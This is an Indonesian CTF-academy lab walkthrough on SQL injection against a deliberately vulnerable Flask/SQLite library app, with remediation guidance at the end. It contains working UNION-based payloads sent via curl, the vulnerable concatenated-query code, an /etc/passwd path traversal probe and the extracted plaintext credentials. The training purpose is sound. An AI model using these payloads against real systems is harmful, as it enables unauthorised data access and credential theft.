TDCTF Academy Logo TDCTF ACADEMY

Lab 02: SQL Injection (Library)


Overview

SQL Injection (SQLi) adalah salah satu serangan web paling berbahaya yang memungkinkan attacker menyuntikkan query SQL berbahaya melalui input pengguna yang tidak divalidasi.

Dalam lab ini, kamu akan belajar mengeksploitasi celah SQL Injection pada aplikasi Vulnerable Library yang dibangun dengan Python + SQLite. Aplikasi ini menyediakan daftar buku melalui endpoint /books dan detail buku melalui /books/{id}. Parameter id tidak divalidasi sehingga memungkinkan serangan SQLi berbasis UNION.

Analogi sederhana: Bayangkan sebuah katalog perpustakaan. Biasanya kamu mencari buku dengan memasukkan nomor ID. Sekarang bayangkan jika petugas perpustakaan menuliskan ID itu langsung ke dalam query database tanpa memeriksa - kamu bisa mengubah query tersebut untuk membaca data apa pun dari database, termasuk data pengguna yang bersifat rahasia.


️ Target Information

Atribut Nilai
Target URL http://lib.vuln.cybersecurity.or.id
Endpoint Rentan GET /books/{id}
Level Kesulitan ⭐ Beginner
Kategori Injection
WSTG Mapping WSTG-INPV-02
Teknologi Python, SQLite, SQLite3

Vulnerability Background

OWASP Top 10

SQL Injection masuk dalam kategori A03:2021 - Injection pada OWASP Top 10. Injection terjadi ketika data tidak terpercaya dikirim ke interpreter sebagai bagian dari perintah atau query. Data berbahaya tersebut dapat mengelabui interpreter untuk mengeksekusi perintah yang tidak diinginkan.

CWE & CAPEC

  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  • CAPEC-66: SQL Injection - pola serangan di mana attacker menyisipkan kode SQL melalui input aplikasi

WHY: Akar Masalah

Aplikasi ini rentan karena menggunakan string concatenation (penggabungan string) untuk membangun query SQL:

# ❌ RENTAN - jangan tiru di production!
id = request.args.get('id')
query = f"SELECT * FROM books WHERE id = {id}"
cursor.execute(query)

Kode di atas mengambil parameter id dari URL dan langsung menyisipkannya ke query tanpa parameterized query. Akibatnya, attacker bisa menyisipkan perintah SQL tambahan.

SQLite vs Database Lain

SQLite memiliki beberapa karakteristik unik yang perlu kamu ketahui dalam konteks SQLi:

Karakteristik SQLite MySQL PostgreSQL
Comment syntax --, /* */ --, #, /* */ --, /* */
String concat || CONCAT() ||
Version query sqlite_version() @@version version()
Schema table sqlite_master information_schema information_schema
Multiple statements Tidak didukung dalam satu execute() Didukung Didukung

Prerequisites

Sebelum memulai lab ini, pastikan kamu memiliki:

  1. Terminal / Command Prompt
  2. curl - biasanya sudah terinstall di Linux/macOS. Cek dengan curl --version
  3. Koneksi internet - untuk mengakses target di lib.vuln.cybersecurity.or.id
  4. Pemahaman dasar SQL - SELECT, FROM, WHERE, UNION

️ Lab Architecture

Aplikasi Vulnerable Library yang menjadi target lab ini memiliki arsitektur sederhana:

┌─────────────┐ HTTP Request ┌──────────────────┐
│ Browser │ ──────────────────→ │ Python Flask │
│ / curl │ ←────────────────── │ Web Server │
└─────────────┘ JSON Response └────────┬─────────┘

┌────────▼─────────┐
│ SQLite3 DB │
│ (library.db) │
│ │
│ ┌────────────┐ │
│ │ books │ │
│ ├────────────┤ │
│ │ users │ │
│ └────────────┘ │
└──────────────────┘

Alur request:

  1. User mengirim request GET /books/1 ke server
  2. Server Flask mengambil parameter id = 1
  3. Query SQL dibangun dengan concatenation: f"SELECT * FROM books WHERE id = {id}"
  4. SQLite mengeksekusi query dan mengembalikan hasil
  5. Server mengirim response JSON ke client

Database library.db berisi dua tabel:

  • books - menyimpan data buku (id, title, author, year)
  • users - menyimpan data pengguna (id, username, password, role)

️ Reconnaissance

Sebelum mengeksploitasi, kita perlu memahami bagaimana aplikasi bekerja. Fase ini disebut Reconnaissance (pengintaian).

Langkah 1: Akses Halaman Utama /books

Mari lihat daftar buku yang tersedia:

curl -s http://lib.vuln.cybersecurity.or.id/books

Expected Output (HTML - terpotong):

<!DOCTYPE html>
<html>
<head><title>Library - Books</title></head>
<body>
<h1>Daftar Buku</h1>
<ul>
<li><a href="/books/1">Harry Potter and the Philosopher's Stone</a></li>
<li><a href="/books/2">The Great Gatsby</a></li>
<li><a href="/books/3">To Kill a Mockingbird</a></li>
<li><a href="/books/4">1984</a></li>
<li><a href="/books/5">Pride and Prejudice</a></li>
</ul>
</body>
</html>

Analisis: Ada 5 buku dengan ID 1 - 5. Setiap buku bisa diakses melalui /books/{id}.

Langkah 2: Akses Detail Buku

curl -s http://lib.vuln.cybersecurity.or.id/books/1

Expected Output:

{
"id": 1,
"title": "Harry Potter and the Philosopher's Stone",
"author": "J.K. Rowling",
"year": 1997
}

Analisis: Aplikasi mengembalikan data dalam format JSON dengan 4 kolom: id, title, author, year. Informasi ini penting untuk langkah eksploitasi nanti.

Langkah 3: Uji Input dengan Karakter Kutip

Sekarang kita uji apakah parameter id rentan terhadap SQLi dengan memasukkan karakter kutip ':

curl -s http://lib.vuln.cybersecurity.or.id/books/1'

Expected Output:

<!DOCTYPE html>
<html>
<head><title>500 Internal Server Error</title></head>
<body>
<h1>Internal Server Error</h1>
<p>An error occurred while processing your request.</p>
</body>
</html>

Analisis: Karakter ' menyebabkan Internal Server Error (500). Ini adalah indikasi awal (smoking gun) bahwa input tidak difilter dengan benar dan kemungkinan besar terjadi error SQL karena kutip tunggal memecah sintaks query.

[SCREENSHOT-1]: Terminal menunjukkan permintaan curl ke /books/1' dan response 500 Internal Server Error


Alur Eksploitasi

Sebelum masuk ke detail masing-masing finding, berikut ringkasan alur eksploitasi yang akan kita lakukan:

┌─────────────────────────────────────────────────────┐
│ ALUR EKSPLOITASI SQLI │
├─────────────────────────────────────────────────────┤
│ │
│ 1. Reconnaissance │
│ ├─ Akses /books → lihat daftar buku │
│ ├─ Akses /books/1 → lihat format response (JSON) │
│ └─ Akses /books/1' → konfirmasi SQLi (error 500) │
│ │
│ 2. FINDING 1: Error-Based SQLi │
│ ├─ ORDER BY → tentukan jumlah kolom (4 kolom) │
│ └─ sqlite_version() → dapatkan versi SQLite │
│ │
│ 3. FINDING 2: UNION-Based SQLi │
│ ├─ sqlite_master → daftar tabel (books, users) │
│ ├─ sqlite_master.sql → struktur tabel users │
│ └─ SELECT FROM users → ekstrak kredensial │
│ │
└─────────────────────────────────────────────────────┘

Dua jenis SQLi yang akan dipraktikkan:

Jenis SQLi Tujuan Tool
Error-Based Mendapatkan informasi dari pesan error database (jumlah kolom, versi) curl + ORDER BY
UNION-Based Menggabungkan hasil query asli dengan hasil query buatan attacker curl + UNION SELECT

Finding 1: Error-Based SQL Injection - Column Enumeration

Field Detail
Severity 🔴 High
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS Base Score 7.5
CWE CWE-89 (SQL Injection)
Affected Endpoint GET http://lib.vuln.cybersecurity.or.id/books/{id}
Affected Parameter id
Deskripsi Parameter id pada endpoint /books/{id} tidak divalidasi dan digunakan langsung dalam query SQL melalui string concatenation. Attacker dapat menyisipkan karakter kutip ' untuk memicu error database dan melakukan enumerasi struktur database secara bertahap.
Proof & Reproduction Lihat langkah-langkah di bawah
Impact Attacker dapat menentukan jumlah kolom dan versi database SQLite, yang merupakan langkah awal untuk ekstraksi data penuh. Informasi versi database membantu attacker menyesuaikan payload SQLi yang tepat sasaran.
Remediasi Gunakan parameterized queries (prepared statements). Jangan pernah menggabungkan input pengguna langsung ke query SQL.

Langkah 4: Menentukan Jumlah Kolom dengan ORDER BY

Teknik ORDER BY digunakan untuk menentukan berapa banyak kolom yang dimiliki tabel. Kita naikkan nomor kolom secara bertahap sampai query error.

Coba dengan ORDER BY 5:

curl -s "http://lib.vuln.cybersecurity.or.id/books/1%20ORDER%20BY%205--"

Expected Output:

<!DOCTYPE html>
<html>
<head><title>500 Internal Server Error</title></head>
<body>
<h1>Internal Server Error</h1>
<p>An error occurred while processing your request.</p>
</body>
</html>

Error! Artinya tabel tidak memiliki 5 kolom. Sekarang coba dengan 4:

curl -s "http://lib.vuln.cybersecurity.or.id/books/1%20ORDER%20BY%204--"

Expected Output:

{
"id": 1,
"title": "Harry Potter and the Philosopher's Stone",
"author": "J.K. Rowling",
"year": 1997
}

✅ Sukses! Data buku ditampilkan, artinya tabel memiliki 4 kolom.

[SCREENSHOT-2]: Perbandingan response curl ORDER BY 5 (error 500) vs ORDER BY 4 (data tampil)

Langkah 5: Mengetahui Versi SQLite

Kita bisa menggunakan fungsi sqlite_version() untuk mengetahui versi database:

curl -s "http://lib.vuln.cybersecurity.or.id/books/0%20UNION%20SELECT%201,sqlite_version(),3,4--"

Expected Output:

{
"id": 0,
"title": "3.45.1",
"author": 3,
"year": 4
}

Analisis: Nilai 0 digunakan sebagai ID karena tidak ada buku dengan ID 0, sehingga data dari UNION SELECT yang tampil. Versi SQLite yang terdeteksi adalah 3.45.1.

💡 Tip: Di SQLite, fungsi sqlite_version() mengembalikan string versi. Kita letakkan di kolom ke-2 (posisi title) agar string tersebut tampil.

[SCREENSHOT-3]: Response curl dengan UNION SELECT sqlite_version() menampilkan versi SQLite


Finding 2: UNION-Based SQL Injection - Data Extraction

Field Detail
Severity 🔴 Critical
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS Base Score 7.5
CWE CWE-89 (SQL Injection)
Affected Endpoint GET http://lib.vuln.cybersecurity.or.id/books/{id}
Affected Parameter id
Deskripsi Setelah berhasil menentukan jumlah kolom, attacker dapat menggunakan teknik UNION-based SQLi untuk membaca data dari tabel lain di database, termasuk tabel users yang berisi kredensial login.
Proof & Reproduction Lihat langkah-langkah di bawah
Impact Attacker dapat mengekstrak seluruh isi database, termasuk nama tabel, struktur kolom, dan data sensitif seperti username & password dari tabel users.
Remediasi Gunakan parameterized queries (prepared statements) + prinsip least privilege untuk user database.

SQLite Schema: sqlite_master

Berbeda dengan MySQL yang menggunakan information_schema, SQLite menyimpan metadata database dalam tabel sqlite_master. Tabel ini memiliki kolom:

Kolom Tipe Deskripsi
type TEXT Tipe objek: 'table', 'index', 'view', 'trigger'
name TEXT Nama objek
tbl_name TEXT Nama tabel terkait
rootpage INTEGER Nomor halaman root
sql TEXT Statement CREATE yang digunakan

Kita akan menggunakan kolom name dan sql untuk mengekstrak informasi.

Langkah 6: Daftar Semua Tabel

curl -s "http://lib.vuln.cybersecurity.or.id/books/0%20UNION%20SELECT%201,name,3,4%20FROM%20sqlite_master%20WHERE%20type='table'--"

Expected Output:

{
"id": 0,
"title": "books",
"author": 3,
"year": 4
}

Hanya satu tabel yang muncul karena kita hanya mendapatkan satu baris. Untuk melihat semua tabel, kita bisa menggabungkan nama tabel dengan koma:

curl -s "http://lib.vuln.cybersecurity.or.id/books/0%20UNION%20SELECT%201,group_concat(name),3,4%20FROM%20sqlite_master%20WHERE%20type='table'--"

Expected Output:

{
"id": 0,
"title": "books,users",
"author": 3,
"year": 4
}

🎉 Ditemukan! Database memiliki dua tabel: books (tabel utama) dan users (tabel sensitif berisi data pengguna).

[SCREENSHOT-4]: Response curl menampilkan daftar tabel "books,users" menggunakan GROUP_CONCAT

Langkah 7: Lihat Struktur Tabel users

Sekarang kita lihat struktur kolom dari tabel users menggunakan kolom sql dari sqlite_master:

curl -s "http://lib.vuln.cybersecurity.or.id/books/0%20UNION%20SELECT%201,sql,3,4%20FROM%20sqlite_master%20WHERE%20name='users'--"

Expected Output:

{
"id": 0,
"title": "CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT, role TEXT)",
"author": 3,
"year": 4
}

Analisis: Tabel users memiliki 4 kolom:

  • id - INTEGER, Primary Key
  • username - TEXT
  • password - TEXT (⚠️ disimpan dalam bentuk plaintext - sangat tidak aman!)
  • role - TEXT

[SCREENSHOT-5]: Response curl menampilkan CREATE TABLE statement untuk tabel users

Langkah 8: Ekstrak Data dari Tabel users

Sekarang kita ekstrak semua data dari tabel users:

curl -s "http://lib.vuln.cybersecurity.or.id/books/0%20UNION%20SELECT%201,group_concat(username),group_concat(password),group_concat(role)%20FROM%20users--"

Expected Output:

{
"id": 0,
"title": "admin,librarian,member",
"author": "sup3rS3cr3tP@ss!,b00kL0v3r2024,m3mb3rP@ss",
"year": "admin,staff,user"
}

🎉 Data berhasil diekstrak! Kita mendapatkan:

Username Password Role
admin sup3rS3cr3tP@ss! admin
librarian b00kL0v3r2024 staff
member m3mb3rP@ss user

⚠️ Catatan: Dalam skenario nyata, password seharusnya di-hash (misal bcrypt, Argon2). Penyimpanan password dalam bentuk plaintext adalah praktik keamanan yang sangat buruk.

[SCREENSHOT-6]: Response curl menampilkan data users (username, password, role) yang berhasil diekstrak

Langkah 9: (Opsional) Ekstrak Satu Baris Spesifik

Jika ingin mengambil data pengguna tertentu saja:

curl -s "http://lib.vuln.cybersecurity.or.id/books/0%20UNION%20SELECT%201,username,password,role%20FROM%20users%20WHERE%20username='admin'--"

Expected Output:

{
"id": 0,
"title": "admin",
"author": "sup3rS3cr3tP@ss!",
"role": "admin"
}

️ Remediation

1. Parameterized Queries (Prepared Statements)

Cara paling efektif untuk mencegah SQLi adalah dengan menggunakan parameterized queries. Dengan metode ini, input pengguna tidak pernah digabungkan langsung ke query SQL, melainkan dikirim sebagai parameter terpisah.

# ✅ AMAN - Parameterized Query dengan sqlite3
import sqlite3
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/books/<int:book_id>')
def get_book(book_id):
conn = sqlite3.connect('library.db')
cursor = conn.cursor()

# Parameterized query - input dikirim sebagai parameter terpisah
cursor.execute("SELECT * FROM books WHERE id = ?", (book_id,))
book = cursor.fetchone()

conn.close()

if book:
return jsonify({
"id": book[0],
"title": book[1],
"author": book[2],
"year": book[3]
})
else:
return jsonify({"error": "Book not found"}), 404

Mengapa ini aman? Library sqlite3 secara otomatis meng-escape karakter khusus dalam parameter. Input 1' OR '1'='1 akan diperlakukan sebagai string literal, bukan sebagai bagian dari query SQL.

2. Input Validation

Selain parameterized query, lakukan juga validasi input:

# Validasi tipe data
book_id = request.args.get('id')
if not book_id.isdigit():
return jsonify({"error": "Invalid ID"}), 400

3. Least Privilege Database User

Gunakan user database dengan hak akses minimal. Aplikasi yang hanya perlu SELECT tidak boleh menggunakan koneksi database dengan hak INSERT/UPDATE/DELETE/DROP:

-- Buat user khusus dengan akses terbatas
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 's3cur3P@ss';
GRANT SELECT ON library.* TO 'app_user'@'localhost';

4. Web Application Firewall (WAF)

Gunakan WAF sebagai lapisan pertahanan tambahan untuk mendeteksi dan memblokir payload SQLi yang mencurigakan.

5. Regular Security Testing

Lakukan pengujian keamanan secara rutin, termasuk:

  • SAST (Static Application Security Testing): Analisis kode sumber untuk mencari pola tidak aman
  • DAST (Dynamic Application Security Testing): Pengujian terhadap aplikasi yang berjalan
  • Manual Pentest: Pengujian manual oleh security professional

Verification (Post-Fix)

Setelah remediasi diterapkan, verifikasi bahwa celah SQLi sudah tertutup:

Uji 1: Input Normal Masih Berfungsi

curl -s http://lib.vuln.cybersecurity.or.id/books/1

Expected Output: Data buku normal tetap tampil.

Uji 2: Karakter Kutip Tidak Lagi Menyebabkan Error

curl -s "http://lib.vuln.cybersecurity.or.id/books/1'"

Expected Output: Response 404 atau error message yang aman (tidak menampilkan traceback SQL).

Uji 3: Payload SQLi Tidak Lagi Berhasil

curl -s "http://lib.vuln.cybersecurity.or.id/books/0%20UNION%20SELECT%201,2,3,4--"

Expected Output: Response 404 atau data buku dengan ID literal "0 UNION SELECT 1,2,3,4--" - bukan hasil query UNION.

Uji 4: Path Traversal via Parameter Numeric

curl -s "http://lib.vuln.cybersecurity.or.id/books/../../etc/passwd"

Expected Output: Response 404 Not Found.


Kesimpulan

Dalam lab ini, kita telah mempelajari:

Tahap Aktivitas Hasil
Recon Mengakses /books dan /books/1 Mengetahui struktur aplikasi dan format response (JSON, 4 kolom)
Testing Memasukkan ' pada parameter Mendapatkan error 500 - indikasi SQLi
Error-Based ORDER BY 4 vs ORDER BY 5 Menentukan tabel memiliki 4 kolom
Error-Based sqlite_version() Mendapatkan versi SQLite database
UNION-Based sqlite_mastername Menemukan tabel: books, users
UNION-Based sqlite_mastersql Melihat struktur tabel users (id, username, password, role)
Data Extraction SELECT dari tabel users Mendapatkan 3 akun: admin, librarian, member

Severity Summary

Finding Severity Deskripsi
Error-Based SQLi 🔴 High Column enumeration, version detection
UNION-Based SQLi 🔴 Critical Full data extraction dari tabel users

Key Takeaways

  1. JANGAN PERNAH menggabungkan input pengguna langsung ke query SQL
  2. Selalu gunakan parameterized queries / prepared statements
  3. Simpan password dengan hashing (bcrypt/Argon2), bukan plaintext
  4. Terapkan least privilege pada koneksi database
  5. Lakukan input validation di sisi server
  6. SQLite menggunakan sqlite_master untuk metadata - beda dengan MySQL/PostgreSQL
  7. Teknik UNION-based SQLi sangat mematikan jika jumlah kolom sudah diketahui

References

Sumber URL
OWASP SQL Injection https://owasp.org/www-community/attacks/SQL_Injection
OWASP A03:2021 - Injection https://owasp.org/Top10/A03_2021-Injection/
CWE-89 https://cwe.mitre.org/data/definitions/89.html
CAPEC-66 https://capec.mitre.org/data/definitions/66.html
OWASP WSTG-INPV-02 https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection
SQLite Documentation https://www.sqlite.org/docs.html
SQLite sqlite_master https://www.sqlite.org/schematab.html
Python sqlite3 Parameterized Query https://docs.python.org/3/library/sqlite3.html

️ Tags

SQL Injection SQLite UNION-Based Python OWASP Top 10 CWE-89 Beginner WSTG-INPV-02 Database Security Web Security

PADA HALAMAN INI